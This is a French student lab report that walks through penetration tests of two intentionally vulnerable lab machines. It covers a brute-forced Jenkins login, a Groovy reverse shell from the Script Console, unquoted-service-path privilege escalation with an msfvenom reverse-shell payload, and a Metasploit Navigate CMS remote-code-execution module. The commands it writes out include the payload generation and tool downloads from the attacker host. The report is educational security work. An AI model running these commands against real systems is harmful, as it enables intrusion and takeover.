
Voici la liste des logins que nous utiliserons, nous avons rajouté les login « jenkins » écrit de différentes manières :

•				kali@kal	ikali: /usr/share/wordlis	ts	
File	Actions	Edit	View	Help			
	/usr/sh	nare/s	eclist	s/Usern	ames/top-usernam	es-shortlist.txt	Comment
root							1
admin	123456						
test							
guest	123456						
info							
adm							
mysql							
user							
admin	istrator						
oracl ftp pi puppe ansib ec2-u vagra azure jenki Jenki JENKI	e et ole user user user .ns .ns .ns						

Figure 92 : Wordlist utilisée

Nous avons fait la même chose avec la liste de mots de passe **rockyou.txt** où nous avons rajouté le mot de passe **jenkins** sous différentes formes.

Nous lançons l'attaque, et nous remarquons que le **Status code** reste le même et que le **Length** prend des valeurs similaires mais après un très long moment à attendre voici ce qui arrive :

jenkins	jenkins	302 168	178
Jenkins	jenkins	302 435	178
JENKINS	jenkins	302 266	178
	jenkins	302 353	403
root	JENKINS	302 39	404

Figure 93 : Valeur Length modifiée

La valeur **length** est différente. Nous essayons donc de rentrer les différentes variations du mot **jenkins**, et finalement nous arrivons à nous connecter avec l'identifiant **Jenkins/jenkins**.

Finalement, nous accédons au service Jenkins :

← → ♂ ⋒ O	A 10.0.2.80:8080			☆	ල රු
🛰 Kali Linux 🔒 Kali Tools 💆 Kali Docs	🕱 Kali Forums 🛛 Kali NetHunter 🔺 Exploit-DB 🛸 Google Hacking DB 🥠 O	MfSec			
🏘 Jenkins		Q search	h ()	🌲 🚺 🚨 jenkins	; 🛨 log out
Dashboard >					
😑 New Item					add descriptior
🍇 People		Welcome to Jenkins!			
Build History		This page is where your Jenkins jobs will be displayed. To get started, you can set up distribut builds or start building a software project.	ed		
Manage Jenkins		Start building your software project			
Lockable Resources		Create a job	•		
New View		Set up a distributed build			
Build Queue	^	Set up an agent	•		
No builds in the queue.		Configure a cloud	>		
Build Executor Status	^	Learn more about distributed builds G	D		
1 Idle					
2 Idle					
				REST API	Jenkins 2.289.3

Figure 94 : Page d'accueil de Jenkins une fois connecté

Durant nos recherches, nous avons exploré ces différents onglets :

Dashboard >				
	System Configuration			
	Configure System Configure global settings and paths.	Global Tool Configuration Configure tools, their locations and automatic installers.	Manage Plugins Add, remove, disable or enable plugins that can extend the functionality of Jenkins. There are updates available	Manage Nodes and Clouds Add, remove, control and monitor the various nodes that Jenkins runs jobs on.
	Security			
	Configure Global Security Secure Jenkins; define who is allowed to access/use the system.	Manage Credentials Configure credentials	Configure Credential Providers Configure the credential providers and types	Manage Users Create/delete/modify users that can log in to this Jenkins
	Status Information			
	System Information Displays various environmental information to assist trouble-shooting.	System Log System log captures output from java.util.logging output related to Jenkins.	Load Statistics Check your resource utilization and see if you need more computers for your builds.	<b>About Jenkins</b> See the version and license information.
	Troubleshooting			
	Manage Old Data Scrub configuration files to remove remnants from old plugins and earlier versions.			
	Tools and Actions			
10.0.2.80:8080/script	Reload Configuration from Disk Discard all the loaded data in memory and reload everything from file system. Useful when you modified config files directly on disk.	Jenkins CLI Access/manage Jenkins from your shell, or from your script.	Script Console Executes arbitrary script for administration/trouble-shooting/diagnostics.	Prepare for Shutdown Stops executing new builds, so that the system can be eventually shut down safely.

Figure 95 : Liste des onglets disponibles

Rien de réellement exploitable, mais celui qui a directement attiré notre attention est l'onglet **Script Console** :

🏟 Jenkins		Q search 🕐 🙏 🗄 V 🚺 ᆂ jenkins 🛨 lo
Dashboard >		
<ul> <li>New Item</li> <li>People</li> <li>Build History</li> <li>Manage Jenkins</li> </ul>		Script Console Type in an arbitrary <u>Genery script</u> and execute it on the server. Useful for trouble-shooting and diagnostics. Use the 'printh' command to see the output [if you use System.out, it will go to the server's stdout, which is harder to see] Example: printh()_Generics.is.is.is.is.is.is.is.is.is.is.is.is.is
<ul> <li>My Views</li> <li>Lockable Resources</li> <li>New View</li> </ul>		
No builds in the queue.	^	
1 Idle		
2 Idle		

Figure 96 : Onglet Script Console

Comme nous pouvons le voir sur la capture avec **Script Console**, nous pouvons exécuter des scripts arbitraires directement sur le serveur grâce à des **Groovy scripts**. Avec nos recherches, nous découvrons que Groovy est un langage de programmation basé sur Java, souvent utilisé dans les configurations de Jenkins. Nous pensons directement à effectuer un reverse shell, pour cela nous allons sur Internet et cherchons tout simplement « groovy script reverse shell » et nous tombons sur un GitHub qui nous donne ce code (voir <u>sources</u>).

Nous copions le code en remplaçant au préalable le numéro de port et l'adresse IP :

🏟 Jenkins		Q search 🕐 🛕 🖬 Jenkins 🖃 log out
Dashboard >		
New Item  Reople  Duild History  Manage Jenkins  Manage Jenkins  Anage Cockable Resources  New View		Script Console Type in an arbitrary Geosystell and execute it on the server. Useful for trouble-shooting and diagnostics. Use the 'printle' command to see the output Of you use System. out, it will go to the server's stiduut, which is harder to see] Example: printle/leakins.instance.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWanager.pluginWana
Build Queue No builds in the queue.	^	
Build Executor Status	^	
1 Idie 2 Idie		Eer
10.0.2.90		REST API Jenkins 2.289.3

Figure 97 : Script envoyé sur Jenkins

Avant d'exécuter le script, nous ouvrons le port renseigné dans le script sur notre machine. Voici ce que nous obtenons :



Figure 98 : Reverse Shell sur le serveur Jenkins



Nous essayons d'avoir plus de détails sur la machine :

C:\Program Files\Jenkins>s systeminfo	ysteminfo
Host Name:	BUTLER
OS Name:	Microsoft Windows 10 Enterprise Evaluation
OS Version:	10.0.19043 N/A Build 19043
OS Manufacturer: ////////	Microsoft Corporation
OS Configuration:	Standalone Workstation
OS Build Type:	Multiprocessor Free
Registered Owner: Registered Organization:	butler 344335.738: Style scheme 'Kali-Dark' cannot be found, falling back to 'Kali-
Product ID:	00329-20000-00001-AA079
Original Install Date: NOT	8/14/2021, 3:51:38 AM ault style scheme Kalle Dark cannot be found, check your ins
System Boot Time:	12/15/2024, 10:12:51 PM
System Manufacturer:	innotek GmbH
System:Model: Gtk-WARNING	VirtualBox
System:Type:rror.UnknownMe	x64-based PC method "Inhibit"
Processor(s):	1 Processor(s) Installed.
(kali@kalikali)-[~/Dow	[01]: Intel64 Family 6 Model 186 Stepping 2 Genuin
eIntel ~2995 Mhżava	
BIOS Version:	innotek GmbH VirtualBox, 12/1/2006
Windows Directory: TIONS: -	C:\WindowstemAAFontSettings=on -Dswing.aatext=true
System Directory: class	C:\Windows\system32 c, should be declared in a file named ReverseShell.java
BootiDevice: ReverseShell	\Device\HarddiskVolume1
System Locale:	en-us;English (United States)
Input Locale:	en-us;English (United States)
Time Zone:	(UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:/Dow	2,032 MB
Available Physical Memory:	1,057 MB
Virtual Memory: Max Size:	3,184 MB
Virtual Memory: Available:	2,115 MB Stall Wall Style scheme Kali-Dark' cannot be found, falling back to 'Kali-
Virtual Memory: In Use:	1,069 MB
Page File Location(s):	C: (pagetile.sys
Domain:66237): tept-WARNIN	WORKGROUP SALEWAY: Default style scheme kall-Dark cannot be found, check your ins
Logon Server:	
HOTFIX(S):	4 HOLTIX(S) INSTALLED.
(Rall@RallKall)-[~/Dow	
—ş java test	
Dicked up JAVA ODITONS	
Network Card(c):	[04]. KDSW0140510HCBetChigston - DowingtanceKC-Chie
Caused by: java.lang.Class	[01]: Tatel(B) DR0/1000 MT Destan Adapter
	Connection Name: Ethernet
	in a de DHCP Enabled - Ves
-s java test.java	DHCP Server: 10.0.2.3
y jara ceserjara	TP address(es)
Picked up JAVA OPTIONS:	David us[01]: 10.0.2.80 threseon -Devide astexter rue
^C	02]; fe80::3419:9987:88b2:fd2
Hyper-V Requirements:	A hypervisor has been detected. Features required
for Hyper-V will not be di	splayed.

Figure 99 : Liste de toutes les informations système sur la machine cible

Pierre FROSTIN et Matthias DUMAS – BUT2 R&T La Rochelle – 2024-2025 Page **65** sur **91**  Cela va nous permettre d'effectuer des recherches et essayer de trouver des failles de sécurité en utilisant la version de l'OS Windows.

Nous sommes donc connectés en tant qu'utilisateur **butler**, ce qui signifie que nous ne sommes pas encore root et qu'il va falloir faire une escalade des privilèges.

## 3. Escalade des privilèges

Pour commencer, nous avons effectué des recherches sur les exploits existants pour la version de l'OS Windows que nous avons. Nous trouvons un exploit pour la **CVE-2021-1732** qui permet à un utilisateur lambda en exécutant en script de devenir root (voir <u>sources</u>), nous avons récupérer le code et l'avons exécuté sur la machine cible. Voici ce que nous obtenons :



Figure 100 : exploit non fonctionnel en raison de la version de Windows

Après coup, nous avons vérifié de nouveau la version de Windows, et la machine cible était trop récente pour que l'exploit puisse fonctionner. Nous avons donc continué nos recherches sur Internet sur les potentielles failles de Windows. Nous trouvons donc un outil appelé WinPEAS qui est connu dans le domaine de la cybersécurité. WinPEAS (Windows Privilege Escalation Awesome Script) est un script en PowerShell qui est utilisé pour identifier des vulnérabilités potentielles et des failles de sécurité sur un système Windows qui pourraient être exploitées pour élever les privilèges d'un utilisateur ou obtenir un accès administrateur (voir <u>sources</u>).

Nous téléchargeons ce script et utilisons de nouveau un serveur web Python pour transférer le fichier sur la machine cible :

Lancement du serveur web Python :

• python3 -m http.server 80

Récupération du fichier depuis la machine distante :

• curl -o winPeas.exe http://10.0.2.5/winPeas.exe

#### Nous lançons le script :



Figure 101 : Démarrage de WinPEAS

Nous sommes surpris par l'énorme quantité d'informations que nous découvrons et nous avons passé beaucoup de temps à chercher dans les informations disponibles. Le nombres de pistes potentielles était énorme, mais malheureusement nous manquions de temps et la fin de la SAE s'approchait. Nous avons donc décidé de demander de l'aide aux personnes ayant déjà fait cette SAE l'année précédente.

On nous a donc dit de faire des recherches de sécurité sur la « unquote service path vulnerability ».

La vulnérabilité en question se produit lorsque le chemin d'un fichier exécutable, utilisé par un service sur un système Windows, contient des espaces et n'est pas correctement encadré par des guillemets. Cela peut nous permettre de charger un script nous permettant de faire un reverse shell par exemple.

Par exemple, un chemin avec des espaces, comme C:\Program Files\MyService\service.exe, doit être mis entre guillemets pour que Windows le reconnaisse correctement.

Si le service a une entrée dans le registre comme :

#### C:\Program Files\MyService\service.exe

Il doit être cité comme :

"C:\Program Files\MyService\service.exe"

Vous trouverez dans les sources plus de détails sur cet exploit.

Maintenant, notre objectif est de trouver un service qui serait vulnérable. Pour cela, nous avons utilisé un exploit que nous avons trouvé un site internet durant nos recherches nous expliquant comment mener à bien ce type d'attaque (voir <u>sources</u>).

Premièrement, nous devons trouver le service vulnérable en utilisant la commande suivante :

```
wmic service get name,displayname,pathname,startmode |
findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i
/v """
```

Explication de la commande :

wmic service get name,displayname,pathname,startmode:

- Cette commande utilise **wmic** pour lister tous les services de Windows et obtenir les informations suivantes pour chaque service :
  - **name** : Le nom du service
  - **displayname** : Le nom affiché du service
  - o pathname : Le chemin du fichier exécutable du service
  - startmode : Le mode de démarrage du service (par exemple, Auto pour démarrage automatique)

| findstr /i "auto"

 Cette partie de la commande filtre les services dont le mode de démarrage est auto (démarrage automatique). L'option /i signifie que la recherche est insensible à la casse (majuscule/minuscule)

```
| findstr /i /v "c:\windows\\"
```

 Cette commande exclut les services dont le chemin commence par C:\Windows\. Cela permet de filtrer les services système de Windows et se concentrer sur les services installés ailleurs, qui sont plus susceptibles d'être mal configurés pour la vulnérabilité. L'option /v inverse la recherche, donc trouve les services dont le chemin ne contient pas C:\Windows\

```
| findstr /i /v """
```

• Cette commande recherche les services dont le chemin d'exécutable n'est pas cité entre guillemets. L'option /v signifie que nous excluons les services dont le chemin

est déjà correctement cité (et donc ne pose pas de problème de sécurité lié à des espaces non gérés). Le triple guillemet (""") est utilisé ici pour échapper le caractère de guillemet dans la commande, car findstr nécessite des guillemets pour la recherche de texte

Après exécution de la commande voici ce que nous obtenons :



Figure 102 : Résultat de la commande Wmic

Le service Wise serait donc vulnérable. Nous devons maintenant créer un payload et l'utiliser pour exploiter le service vulnérable et effectuer une élévation de privilèges. Pour cela, nous utiliserons la commande suivante :

msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=<votre\_ip>
LPORT=<numéro\_de\_port> -f exe -o Wise.exe

- msfvenom : C'est l'outil utilisé pour générer le payload
- -p windows/x64/shell\_reverse\_tcp: Nous spécifions le type de payload que nous voulons utiliser. Ici, c'est un reverse shell pour une architecture 64 bits (x64) de Windows
- -f exe : Cela spécifie que nous voulons générer un fichier exécutable (.exe)
- -o Wise.exe : C'est le nom du fichier généré. Cette étape est très importante car il faut nous assurer que le nom du fichier soit exactement Wise.exe pour qu'il corresponde au nom de l'exécutable du service vulnérable WiseBootAssistant



Figure 103 : Génération du fichier de reverse shell

Une fois que l'exécutable est créé, nous devons faire en sorte que la machine vulnérable exécute Wise.exe. Pour cela, nous utilisons la même méthode que précédemment en ouvrant un service web HTTP temporaire.

Nous déplaçons cet exécutable dans le dossier Wise :

C:\Program:Files (x86)\Wise>dir ) dir File: and exe Volume in drive C bas no labol	
Volume Serial Number is 1067-CB24	
Directory of C:\Program Files (x86)\Wise	
12/16/2024do09:49pPMdana <dir> .</dir>	
12/16/2024: 09:49(PMI) ( <dir>000)</dir>	
12/16/2024 09:44 PM <dir> Wise Care 365</dir>	
12/16/2024 09:49 PM 7.168 Wise.exe	
1 File(s) 7,168 bytes 3 Dir(s) 10,087,223,296 bytes free	

Figure 104 : Déplacement du fichier dans le répertoire adapté

Nous ouvrons un port avec l'outil NetCat :



Figure 105 : Lancement du reverse shell sur Kali

Nous devons maintenant exécuter ce payload. Pour cela, nous devons arrêter le service **WiseBootAssistant** qui est lié au fichier **Wise.exe** (qui contient le payload). Puisqu'il est configuré pour démarrer automatiquement (autostart) lors du démarrage du système, il est important de l'arrêter d'abord pour garantir que l'on peut exploiter cette vulnérabilité.

Pour arrêter le service nous utilisons la commande suivante :

sc stop "WiseBootAssistant"

```
C:\Program Files (x86)\Wise>sc stop "WiseBootAssistant"
sc stop "WiseBootAssistant"
SERVICE_NAME: WiseBootAssistant
TYPE : 110 WIN32_OWN_PROCESS (interactive)
STATE : 3 STOP_PENDING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0×0)
SERVICE_EXIT_CODE : 0 (0×0)
CHECKPOINT : 0×3
WAIT_HINT : 0×1388
```

Figure 106 : Arrêt du service Wise

Pour démarrer le service nous utilisons la commande suivante :

```
sc start "WiseBootAssistant"
```



Figure 107 : Démarrage du service Wise

Maintenant, le système tentera de démarrer le service WiseBootAssistant, mais il échouera car il trouvera notre payload et exécutera ce dernier à la place. Nous avons maintenant accès aux privilèges administrateur :



Figure 108 : Elévation des privilèges

Pour conclure, cette machine a vraiment été très laborieuse à attaquer et nous avons dû effectuer énormément de recherches sur les vulnérabilités existantes sur Windows. La découverte de l'outil WinPEAS a été très intéressante, mais faire le tri dans l'énorme quantité d'informations était très difficile. De plus, nous avons remarqué que sans l'aide de nos camarades, nous n'aurions jamais pu savoir que nous devions utiliser la vulnérabilité « Unquoted Path ». Celle-ci était vraiment surprenante, mais intéressante à exploiter.
# Machine vulnérable 5 : Blackpearl

### 1. Découverte de l'adresse IP et des services de la machine

Nous recherchons dans un premier temps l'adresse IP de la machine cible :

Currently scann	ning: Finished!	Screen	View:	Unique Hosts
4 Captured ARP	Req/Rep packets,	from 4 host	ts. T	otal size: 240
IP	At MAC Address	Count	Len	MAC Vendor / Hostname
172.16.0.1	52:54:00:12:35:00	0 1	60	Unknown vendor
172.16.0.2	52:54:00:12:35:00	0 1	60	Unknown vendor
172.16.0.3	08:00:27:39:9d:7	5 1	60	PCS Systemtechnik GmbH
172.16.0.6	08:00:27:7e:39:co	d 1	60	PCS Systemtechnik GmbH
-(user1@kali)	)-[~]			
-\$	, []			

Figure 109 : Adresse IP

La machine cible est connectée avec l'adresse IP 172.16.0.5. Nous scannons les ports avec NMAP :



Figure 110 : Découverte des services

Les services suivants tournent actuellement sur la machine :

- TCP 22 : SSH OpenSSH v7.9p1 sur Debian 10
- **TCP 53** : Serveur DNS BIND 9.11.5
- TCP 80 : Serveur Web NGINX 1.14.2 avec la page « Welcome to nginx ! »

#### 2. Visite de la page web

Nous visualisons la page web sur un navigateur :

<b>~</b>	💷 📄 🍃 🍪 🖭 🗸 📘	2 3 4 🌢 🗈
ō	- Kali Linux	+
~	$\rightarrow$ X G	Q 172.16.0.6
<sup>7</sup> 5 Ki	ali Linux   8 Kali Tools 🧧 Kali	Docs 🕱 Kali Forums  Kali NetHunter 🔍 Exploit-DB 🛸 Google Hacking DB 🌗 OffSec

#### Welcome to nginx!

If you see this page, the nginx web server is successfully installed and working. Further configuration is required.

For online documentation and support please refer to <u>nginx.org</u>. Commercial support is available at <u>nginx.com</u>.

Thank you for using nginx.





Figure 112 : Code de la page par défaut

Il s'agit simplement de la page par défaut d'une installation NGINX, mais du commentaire HTML a été ajouté en bas du code : il s'agit d'une adresse e-mail qui nous renseigne un **nom (Alek)** et un **nom de domaine (blackpearl.tcm)**.

Nous effectuons donc un scan des répertoires et fichiers présents sur ce serveur avec l'outil Nikto, mais qui ne donne rien d'intéressant :

[user1⊕ kali)-[~]	0.6 -p 80		
+ Target IP: + Target Hostname: + Target Port: + Start Time:	172.16.0.6 172.16.0.6 80 2024-12-12 16:18:40 (GMT1)		
<pre>+ Server: nginx/1.14 + /: The anti-clickj: + /: The X-Content-T; Inerability-scanner/ + No GGI Directories + /#wp-config.php#: : 8102 requests: 0 e: + End Time:</pre>	.2 cking X-frame-Options header is not present. See: http ppe-Options header is not set. This could allow the use vulnerabilities/missing-content-type-header/ found (use '-c all' to force check all possible dirs) Mmp-config_hphF file found. This file contains the cred ror(s) and 3 item(s) reported on remote host 2024-12-12 16/31/33 (GMT) (53 seconds)	s://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options r agent to render the content of the site in a different fashion to the MIME type. See: entials.	https://www.netsparker.com/web-
+ 1 host(s) tested			

Figure 113 : Scan des répertoires du serveur avec Nikto

Après concertation, nous décidons de relancer un scan mais cette fois-ci avec l'outil DirBuster. Cette recherche est beaucoup plus intéressante :

۲	OWASP DirBuster 1.0-RC1 - Web Application	n Brute Forcing	$\bigcirc \bigcirc \otimes$								
File	Options About Help										
http:	://blackpearl.tcm:80/										
🕕 🕕 Scan Information $\setminus$ Results - List View: Dirs: 17 Files: 20 $\setminus$ Results - Tree View $\setminus$ 🔥 Errors: 0 $\setminus$											
	Festing for dirs in /	3%									
	Festing for files in / with no extention	4%									
1	Testing for files in / with extention .php	4%									
1	Festing for dirs in /navigate/	0%									
-	Festing for files in /navigate/ with no extention	0%									
-	Festing for files in /navigate/ with extention .php	0%									
	Festing for dirs in /navigate/img/	0%									
Curr	ent speed: 0 requests/sec	(Select and right click for	r more options)								
Average speed: (T) 762, (C) 108 requests/sec											
Pars Tota	e Queue Size: 0   Requests: 48793/11909593	Current number of running three	eads: 200 e								

Figure 114 : Scan des répertoires du serveur avec DirBuster

۲	OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing									
File Options	s About Help									
http://172.16	6.0.6:80/ .formation ` Results - List View: Dirs: 0 Files: 1 ` Results - Tree View ` 🌈	Errors: 0								
Туре	Found Resp	onse Size								
Dir		200 914								
File	/secret	200 469								
Current spee	ed: 0 requests/sec (Se	lect and right click for more options)								
Average spe	ed: (T) 972, (C) 256 requests/sec									
Parse Queue	e Size: 0 Current n	umber of running threads: 200								
Total Reques	sts: 661639/661645	Change								
Time To Finis	sh: 00:00:00	Report								
Dirbuster Sto	abbeen and a second									

Figure 115 : Fichier "secret" trouvé

DirBuster nous indique qu'un fichier /secret ainsi qu'un répertoire /navigate sont accessibles. Commençons par lire le fichier /secret :



Figure 116 : Contenu du fichier "secret"

Ce message moqueur est signé par **Alek**, le Webmaster qui a commenté le code HTML de la page web visualisée précédemment. Cependant, le fichier ne donne pas beaucoup plus d'informations.

Penchons-nous sur le répertoire /navigate :



Figure 117 : Répertoire /navigate introuvable avec l'adresse IP

Le répertoire est introuvable, alors qu'il était affiché sur DirBuster... Après quelques minutes de réflexion, il serait possible que la page ne soit accessible qu'avec le nom de domaine et non l'adresse IP. Nous retentons notre chance :



Figure 118 : Répertoire /navigate introuvable avec le nom de domaine

La page ne s'affiche toujours pas. Nous effectuons donc une recherche inversée avec **dnsrecon** sur la cible pour nous assurer de notre piste :



Figure 119 : Recherche inversée avec dnsrecon

Le pointeur indique bien le nom de domaine recherché ainsi que son pointage sur l'adresse de *loopback* de la machine cible. Pour éviter de modifier nos paramètres DNS sur Kali, nous préférons modifier le fichier /etc/hosts pour faire pointer **blackpearl.tcm** directement sur **172.16.0.6** sans faire de requête supplémentaire.



Figure 120 : Modification du fichier /etrc/hosts

Nous pouvons maintenant relancer le navigateur et tenter d'accéder à la page :

<b>م</b>	📰 🛅 🍃 😂 🕒 🗸 📘	2 3	4 🔌 🗈					
Ō	PHP 7.3.27-1~deb10u1 - phpi ×							
←	$\rightarrow$ C $\textcircled{a}$	08	blackpearl.tcm			ជ		
°⊂, K	ali Linux 🛭 🔒 Kali Tools 🛛 💆 Kali Doo	:s 🐹 Ka	ıli Forums 🛛 🔿 Kali	i NetHunter 🌨 Exploit-DB 🛸	⊾ Google Hacking DB 🌗 OffSec			
	PHP Version 7.3.27-1~deb10u1							
			System		Linux blackpearl 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64			
			Build Date		Feb 13 2021 16:31:40			
			Server API		FPM/FastCGI			
			Virtual Director	y Support	disabled			
			Configuration F	ile (php.ini) Path	/etc/php/7.3/fpm			
			Loaded Configu	ration File	/etc/php/7.3/fpm/php.ini			
			Scan this dir for	r additional .ini files	/etc/php/7.3/fpm/conf.d			

Figure 121 : Page par défaut de PHP

Une page s'affiche, il s'agit de la page par défaut de PHP.

Nous nous dirigeons vers le répertoire /navigate :

Image: Second					0	■ 16:5	5   🔺	G
$\leftarrow \rightarrow \mathcal{O}$ $\bigcirc$ $\bigcirc$ $\bigcirc$ $\bigcirc$ blackpearl.tcm/naviga	te/login.php			ជ	⊌	* @	<u>ک</u>	Ξ
👒 Kali Linux 😩 Kali Tools 🚊 Kali Docs 📉 Kali Forums 🐟 Kali Neti	lunter 🛸 Exploit-DB 🛸 Google Hacking DB 🥠 C							
		User						
	navigate	Password						
	www.navigatecms.com							
		Remember me						
		Enter	Forgot password?					
					<b>-</b>	automa Car	c	2024
					N	ivigate CM	5 V2.8, 6	2029

Figure 122 : Affichage de la page web contenue dans /navigate

# 3. Exploit de Navigate

Navigate est un CMS *(Content Management System)*, dont la version installée est 2.8. Nous recherchons alors un exploit sur cet outil, et trouvons un RCE *(Remote Shell Exécution)* pour Navigate. Ce dernier s'exécute via la console Metasploit :

<u>msf6</u> > search navigate rce an Dava 🗙 KallFor	rums 🛛 🧟 Kali NetHunter 🔺 Exp	oloit-DB	🦌 Google Hacking DB 🕧 OffSe	C.					
Matching Modules									
# Name D	Disclosure Date Rank	Check	Description						
<pre>0 exploit/multi/http/havigate_cms_rce 2</pre>	2018-09-26 excellent		Navigate CMS Unauthenticate	d Remote Code Execution					
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/navigate_cms_rce									
<pre>msfg &gt; use 0 {*} No payload configured, defaulting to php/meterpreter/reverse_tcp msfg exploit(mit/http/nevigate_cet_ree) &gt; show options</pre>									
Module options (exploit/multi/http/navigate_	_cms_rce):								
Name Current Setting Required Des	scription								
Proxies no Ap RHOSTS yes The RPORT 80 yes The SSL false no Neg TARGETURI /navigate/ yes Bas	proxy chain of format type: e target host(s), see https e target port (TCP) gotiate SSL/TLS for outgoin se Navigate CMS directory p To arour picture	host:po ://docs g conne ath	rt[,type:host:port][] .metasploit.com/docs/using-m ctions	User etasploit/basics/using-me	tasploit.html				
	TP server virtuat nost								
Payload options (php/meterpreter/reverse_tcp									
Name Current Setting Required Descrip	ption								
LHOST 172.16.0.4 yes The lis LPORT 4444 yes The lis	sten address (an interface n sten port	may be :	specified)						
Exploit target:									
Id Name									
0 Automatic	0 Automatic								
View the full module info with the info, or info -d command.									
<pre>msf6 exploit(multi/http/navigate_cms_rce) &gt;</pre>									

*Figure 123 : Choix d'un exploit pour /navigate* 



Figure 124 : Obtention du reverse shell

Nous obtenons donc un shell basique sur le serveur distant, l'utilisateur est **wwwdata** puisque nous avons obtenu une connexion depuis le service web. Il s'agit d'un shell simplifié de Meterpreter, avec des commandes différentes. Nous utiliserons le vrai shell Linux plus tard.

### 4. Escalade de privilèges

Au cours des recherches, nous avons découvert un script à exécuter côté serveur qui permet de *dump* beaucoup d'informations sur le système, et de mettre en lumière différentes manières d'effectuer une escalade de privilèges : il s'agit de **LinPEAS** (voir sources). Pour ce faire, il est nécessaire de transférer le fichier de script à la machine cible. La méthode choisie est de monter un **serveur web Python** sur Kali, et d'utiliser le shell distant via Meterpreter pour télécharger et exécuter le script.



Figure 125 : Lancement du serveur web sur Kali

Nous avons lancé le serveur dans le *home*, nous y plaçons donc le script **linpeas.sh**. Nous retournons dans Meterpreter et lançons un vrai shell Linux :

meterpre	<u>eter</u>	>	shell
Process	1044	1	created.
Channel	1 cr	ea	ated.
whoami			
www-data	a l		

Figure 126 : Utilisation du vrai shell Linux dans Meterpreter

Nous pouvons maintenant télécharger le script sur le serveur avec la commande suivante :

wgot http://172 16 0 //:00/lippozs sh											
$w_{2}=(1,1,1,2,1,2,1,0,0,4,0,0)$ (injects)											
Connecting to 172 16 0 / 280 connected											
Connecting to 1/2.16.0.4.80 Connected.											
HITP request sent, awaiting response 200 OK											
Length://8301/3/(811K)-[text/x-sn]encer to continue / read asd / no											
Saving to: 'linpeas.sh'											
(user1@kal1)-[~/websrv]											
	3.74M	0sea									
50K	290M	0s									
——100Ксійіліілі, Лиовскиі	353M	0s									
150К 24%	5.83M	0s									
200K 30%	5.02M	0s									
250K	17.6M	Øs									
300K 43%	3.49M	Øs									
350K 49%	18.9M	0s									
400K	9.15M	Øs									
450Kr.httnc://github.com/delss.ng/DF4SS.ng/volesses/douglosc61%7	5105M-	0s.0									
500K	8.14M	0s]									
550K	2.66M	0s									
Cn: 600Kies.to.sitbub.com.(sithub.com) 140.02.121.21:442com 80%-	298M	0s									
HT 650Knuest.seet. sugiting.response307.Feued	288M	0s									
7 700K bit to start a start to be served a start to be sourced as the served as the se	15 2M	0 <									
7507	2 10M	06									
200V 100V	5.10M	0 1 0									
	4.41M=	0.15									
- 2024 - 12 - 13 12 - 31 - 30	up-pro Movina										
2024-12-13 06:53:59 (7.10 MB/s) - linpeas.sn saved [8301/3/8301/3	]σx−Am	z-uai									

Figure 127 : Téléchargement du script LinPEAS

Nous rendons ce fichier exécutable :

chmod +x linpeas.sh/

Figure 128 : Modification des droits utilisateur sur le script

Nous pouvons maintenant lancer le script avec la commande ./linpeas.sh, et voici ce que l'on observe :



Figure 129 : Premières lignes de LinPEAS

Le script se lance et prend plusieurs minutes pour récupérer toutes les informations. Elles sont ensuite affichées dans le shell. Après une dizaine de minutes à lire chaque section, nous en retenons deux :



Figure 130 : Liste des utilisateurs ayant accès à la console

Cette première section indique les utilisateurs ayant un accès à la console. Nous retrouvons Alek le Webmaster, ainsi que l'utilisateur root.

La deuxième section concerne l'escalade de privilèges via SUID :

SUID - Check easy privesc, exploits and write perms in confident in 2010 Sectoricity/ Supersists
strings Not Foundhub.com (eithub.com)]149.82.121.313443 connected.
strace Not Foundt, awaiting response 302 Found
-rwsr-xr1 root messagebus 50K Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 10K Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 427K Jan 31 2020 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 35K Jan 10 2019 /usr/bin/umount
-rwsr-xr-x 1 root root 44K Jul 27 2018 /usr/bin/neegro IP-UX 10.20 Directory 2014 1010104204 And Experimental Advectory 2014
-rwsr-xr-x 1 root root 51K Jan 10 2019 /usr/bin/mounts
-rwsr-xr-x 1 root root 4.6M Feb 13 2021 /usr/bin/php7.3 (Unknown SUID binary!) 99.111.13, 185.199.103.133, 185.199.109.133,
-rwsr-xr-x 1 root root 63K Jan 10 2019 /usr/bin/su
